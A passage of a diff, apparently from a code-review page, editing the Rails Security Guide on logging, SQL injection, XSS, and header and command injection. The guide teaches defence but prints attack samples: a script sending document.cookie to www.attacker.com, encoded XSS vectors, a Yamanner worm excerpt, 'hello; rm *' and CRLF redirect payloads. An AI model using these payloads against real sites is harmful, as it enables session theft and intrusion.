* Randomize the field names
|
||||
* Include more than one honeypot field of all types, including submission buttons
|
||||
|
||||
Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So _(highlight)negative CAPTCHAs might not be good to protect login forms_.
|
||||
Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So _negative CAPTCHAs might not be good to protect login forms_.
|
||||
|
||||
### Logging
|
||||
|
||||
WARNING: _Tell Rails not to put passwords in the log files._
|
||||
|
||||
By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers et cetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can _(highlight)filter certain request parameters from your log files_ by appending them to `config.filter_parameters` in the application configuration. These parameters will be marked [FILTERED] in the log.
|
||||
By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers et cetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can _filter certain request parameters from your log files_ by appending them to `config.filter_parameters` in the application configuration. These parameters will be marked [FILTERED] in the log.
|
||||
|
||||
```ruby
|
||||
config.filter_parameters << :password
|
||||
|
@ -588,7 +588,7 @@ password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseb
|
|||
|
||||
It is interesting that only 4% of these passwords were dictionary words and the great majority is actually alphanumeric. However, password cracker dictionaries contain a large number of today's passwords, and they try out all kinds of (alphanumerical) combinations. If an attacker knows your user name and you use a weak password, your account will be easily cracked.
|
||||
|
||||
A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the _(highlight)first letters of a sentence that you can easily remember_. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too.
|
||||
A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the _first letters of a sentence that you can easily remember_. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too.
|
||||
|
||||
### Regular Expressions
|
||||
|
||||
|
@ -600,7 +600,7 @@ Ruby uses a slightly different approach than many other languages to match the e
|
|||
/^https?:\/\/[^\n]+$/i
|
||||
```
|
||||
|
||||
This may work fine in some languages. However, _(highlight)in Ruby ^ and $ match the *line* beginning and line end_. And thus a URL like this passes the filter without problems:
|
||||
This may work fine in some languages. However, _in Ruby ^ and $ match the *line* beginning and line end_. And thus a URL like this passes the filter without problems:
|
||||
|
||||
```
|
||||
javascript:exploit_code();/*
|
||||
|
@ -641,15 +641,15 @@ The most common parameter that a user might tamper with, is the id parameter, as
|
|||
@project = Project.find(params[:id])
|
||||
```
|
||||
|
||||
This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, _(highlight)query the user's access rights, too_:
|
||||
This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, _query the user's access rights, too_:
|
||||
|
||||
```ruby
|
||||
@project = @current_user.projects.find(params[:id])
|
||||
```
|
||||
|
||||
Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, _(highlight)no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated_.
|
||||
Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, _no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated_.
|
||||
|
||||
Don't be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form's hidden fields. _(highlight)JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values_. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet.
|
||||
Don't be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form's hidden fields. _JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values_. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet.
|
||||
|
||||
Injection
|
||||
---------
|
||||
|
@ -662,14 +662,14 @@ Injection is very tricky, because the same code or parameter can be malicious in
|
|||
|
||||
NOTE: _When sanitizing, protecting or verifying something, whitelists over blacklists._
|
||||
|
||||
A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although sometimes it is not possible to create a whitelist (in a SPAM filter, for example), _(highlight)prefer to use whitelist approaches_:
|
||||
A blacklist can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a whitelist which lists the good e-mail addresses, public actions, good HTML tags and so on. Although sometimes it is not possible to create a whitelist (in a SPAM filter, for example), _prefer to use whitelist approaches_:
|
||||
|
||||
* Use before_filter :only => [...] instead of :except => [...]. This way you don't forget to turn it off for newly added actions.
|
||||
* Use attr_accessible instead of attr_protected. See the mass-assignment section for details
|
||||
* Allow <strong> instead of removing <script> against Cross-Site Scripting (XSS). See below for details.
|
||||
* Don't try to correct user input by blacklists:
|
||||
** This will make the attack work: "<sc<script>ript>".gsub("<script>", "")
|
||||
** But reject malformed input
|
||||
* This will make the attack work: "<sc<script>ript>".gsub("<script>", "")
|
||||
* But reject malformed input
|
||||
|
||||
Whitelists are also a good approach against the human factor of forgetting something in the blacklist.
|
||||
|
||||
|
@ -750,7 +750,7 @@ As you can see, the first part of the array is an SQL fragment with question mar
|
|||
Model.where(:login => entered_user_name, :password => entered_password).first
|
||||
```
|
||||
|
||||
The array or hash form is only available in model instances. You can try `sanitize_sql()` elsewhere. _(highlight)Make it a habit to think about the security consequences when using an external string in SQL_.
|
||||
The array or hash form is only available in model instances. You can try `sanitize_sql()` elsewhere. _Make it a habit to think about the security consequences when using an external string in SQL_.
|
||||
|
||||
### Cross-Site Scripting (XSS)
|
||||
|
||||
|
@ -770,7 +770,7 @@ A relatively new, and unusual, form of entry points are banner advertisements. I
|
|||
|
||||
#### HTML/JavaScript Injection
|
||||
|
||||
The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. _(highlight)Escaping user input is essential_.
|
||||
The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. _Escaping user input is essential_.
|
||||
|
||||
Here is the most straightforward test to check for XSS:
|
||||
|
||||
|
@ -796,7 +796,7 @@ These examples don't do any harm so far, so let's see how an attacker can steal
|
|||
For an attacker, of course, this is not useful, as the victim will see his own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review his web server's access log files to see the victim's cookie.
|
||||
|
||||
```html
|
||||
<script>document.write('<img src="http://www.attacker.com/' <plus> document.cookie <plus> '">');</script>
|
||||
<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script>
|
||||
```
|
||||
|
||||
The log files on www.attacker.com will read like this:
|
||||
|
@ -828,9 +828,9 @@ http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode
|
|||
|
||||
##### Countermeasures
|
||||
|
||||
_(highlight)It is very important to filter malicious input, but it is also important to escape the output of the web application_.
|
||||
_It is very important to filter malicious input, but it is also important to escape the output of the web application_.
|
||||
|
||||
Especially for XSS, it is important to do _(highlight)whitelist input filtering instead of blacklist_. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete.
|
||||
Especially for XSS, it is important to do _whitelist input filtering instead of blacklist_. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete.
|
||||
|
||||
Imagine a blacklist deletes “script” from the user input. Now the attacker injects “<scrscriptipt>”, and after the filter, “<script>” remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible:
|
||||
|
||||
|
@ -847,15 +847,15 @@ s = sanitize(user_input, :tags => tags, :attributes => %w(href title))
|
|||
|
||||
This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags.
|
||||
|
||||
As a second step, _(highlight)it is good practice to escape all output of the application_, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). _(highlight)Use `escapeHTML()` (or its alias `h()`) method_ to replace the HTML input characters &, ", <, > by their uninterpreted representations in HTML (`&amp;`, `&quot;`, `&lt`;, and `&gt;`). However, it can easily happen that the programmer forgets to use it, so <em class=[highlight">it is recommended to use the "SafeErb](http://safe-erb.rubyforge.org/svn/plugins/safe_erb/) plugin</em>. SafeErb reminds you to escape strings from external sources.
|
||||
As a second step, _it is good practice to escape all output of the application_, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). _Use `escapeHTML()` (or its alias `h()`) method_ to replace the HTML input characters &, ", <, > by their uninterpreted representations in HTML (`&`, `"`, `<`;, and `>`). However, it can easily happen that the programmer forgets to use it, so _it is recommended to use the [SafeErb](http://safe-erb.rubyforge.org/svn/plugins/safe_erb/) plugin_. SafeErb reminds you to escape strings from external sources.
|
||||
|
||||
##### Obfuscation and Encoding Injection
|
||||
|
||||
Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in UTF-8 encoding:
|
||||
|
||||
```html
|
||||
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;
|
||||
&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
|
||||
```
|
||||
<IMG SRC=javascript:a
|
||||
lert('XSS')>
|
||||
```
|
||||
|
||||
This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the [Hackvertor](https://hackvertor.co.uk/public). Rails' sanitize() method does a good job to fend off encoding attacks.
|
||||
|
@ -866,7 +866,7 @@ _In order to understand today's attacks on web applications, it's best to take a
|
|||
|
||||
The following is an excerpt from the [Js.Yamanner@m](http://www.symantec.com/security_response/writeup.jsp?docid=2006-061211-4111-99&tabid=1) Yahoo! Mail [worm](http://groovin.net/stuff/yammer.txt). It appeared on June 11, 2006 and was the first webmail interface worm:
|
||||
|
||||
```html
|
||||
```
|
||||
<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif'
|
||||
target=""onload="var http_request = false; var Email = '';
|
||||
var IDList = ''; var CRumb = ''; function makeRequest(url, Func, Method,Param) { ...
|
||||
|
@ -918,7 +918,7 @@ The [moz-binding](http://www.securiteam.com/securitynews/5LP051FHPE.html) CSS pr
|
|||
|
||||
#### Countermeasures
|
||||
|
||||
This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. _(highlight)If you want to allow custom colors or images, you can allow the user to choose them and build the CSS in the web application_. Use Rails' `sanitize()` method as a model for a whitelist CSS filter, if you really need one.
|
||||
This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. _If you want to allow custom colors or images, you can allow the user to choose them and build the CSS in the web application_. Use Rails' `sanitize()` method as a model for a whitelist CSS filter, if you really need one.
|
||||
|
||||
### Textile Injection
|
||||
|
||||
|
@ -947,13 +947,13 @@ RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html
|
|||
|
||||
#### Countermeasures
|
||||
|
||||
It is recommended to _(highlight)use RedCloth in combination with a whitelist input filter_, as described in the countermeasures against XSS section.
|
||||
It is recommended to _use RedCloth in combination with a whitelist input filter_, as described in the countermeasures against XSS section.
|
||||
|
||||
### Ajax Injection
|
||||
|
||||
NOTE: _The same security precautions have to be taken for Ajax actions as for “normal” ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view._
|
||||
|
||||
If you use the [in_place_editor plugin](http://dev.rubyonrails.org/browser/plugins/in_place_editing), or actions that return a string, rather than rendering a view, _(highlight)you have to escape the return value in the action_. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.
|
||||
If you use the [in_place_editor plugin](http://dev.rubyonrails.org/browser/plugins/in_place_editing), or actions that return a string, rather than rendering a view, _you have to escape the return value in the action_. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method.
|
||||
|
||||
### Command Line Injection
|
||||
|
||||
|
@ -961,7 +961,7 @@ NOTE: _Use user-supplied command line parameters with caution._
|
|||
|
||||
If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and `command`. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|).
|
||||
|
||||
A countermeasure is to _(highlight)use the `system(command, parameters)` method which passes command line parameters safely_.
|
||||
A countermeasure is to _use the `system(command, parameters)` method which passes command line parameters safely_.
|
||||
|
||||
```ruby
|
||||
system("/bin/echo","hello; rm *")
|
||||
|
@ -973,9 +973,9 @@ system("/bin/echo","hello; rm *")
|
|||
|
||||
WARNING: _HTTP headers are dynamically generated and under certain circumstances user input may be injected. This can lead to false redirection, XSS or HTTP response splitting._
|
||||
|
||||
HTTP request headers have a Referer, User-Agent (client software), and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. _(highlight)Remember to escape these header fields, too._ For example when you display the user agent in an administration area.
|
||||
HTTP request headers have a Referer, User-Agent (client software), and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. _Remember to escape these header fields, too._ For example when you display the user agent in an administration area.
|
||||
|
||||
Besides that, it is _(highlight)important to know what you are doing when building response headers partly based on user input._ For example you want to redirect the user back to a specific page. To do that you introduced a “referer“ field in a form to redirect to the given address:
|
||||
Besides that, it is _important to know what you are doing when building response headers partly based on user input._ For example you want to redirect the user back to a specific page. To do that you introduced a “referer“ field in a form to redirect to the given address:
|
||||
|
||||
```ruby
|
||||
redirect_to params[:referer]
|
||||
|
@ -1002,7 +1002,7 @@ HTTP/1.1 302 Moved Temporarily
|
|||
Location: http://www.malicious.tld
|
||||
```
|
||||
|
||||
So _(highlight)attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the `redirect_to` method. _(highlight)Make sure you do it yourself when you build other header fields with user input._
|
||||
So _attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the `redirect_to` method. _Make sure you do it yourself when you build other header fields with user input._
|
||||
|
||||
#### Response Splitting
|
||||
|
||||
|
@ -1025,7 +1025,7 @@ Transfer-Encoding: chunked
|
|||
Content-Type: text/html
|
||||
```
|
||||
|
||||
Under certain circumstances this would present the malicious HTML to the victim. However, this only seems to work with Keep-Alive connections (and many browsers are using one-time connections). But you can't rely on this. _(highlight)In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks._
|
||||
Under certain circumstances this would present the malicious HTML to the victim. However, this only seems to work with Keep-Alive connections (and many browsers are using one-time connections). But you can't rely on this. _In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks._
|
||||
|
||||
|
||||
Default Headers
|
||||
|
@ -1057,6 +1057,7 @@ config.action_dispatch.default_headers.clear
|
|||
```
|
||||
|
||||
Here is the list of common headers:
|
||||
|
||||
* X-Frame-Options
|
||||
_'SAMEORIGIN' in Rails by default_ - allow framing on same domain. Set it to 'DENY' to deny framing at all or 'ALLOWALL' if you want to allow framing for all website.
|
||||
* X-XSS-Protection
|
||||
|
|
Loading…
Reference in New Issue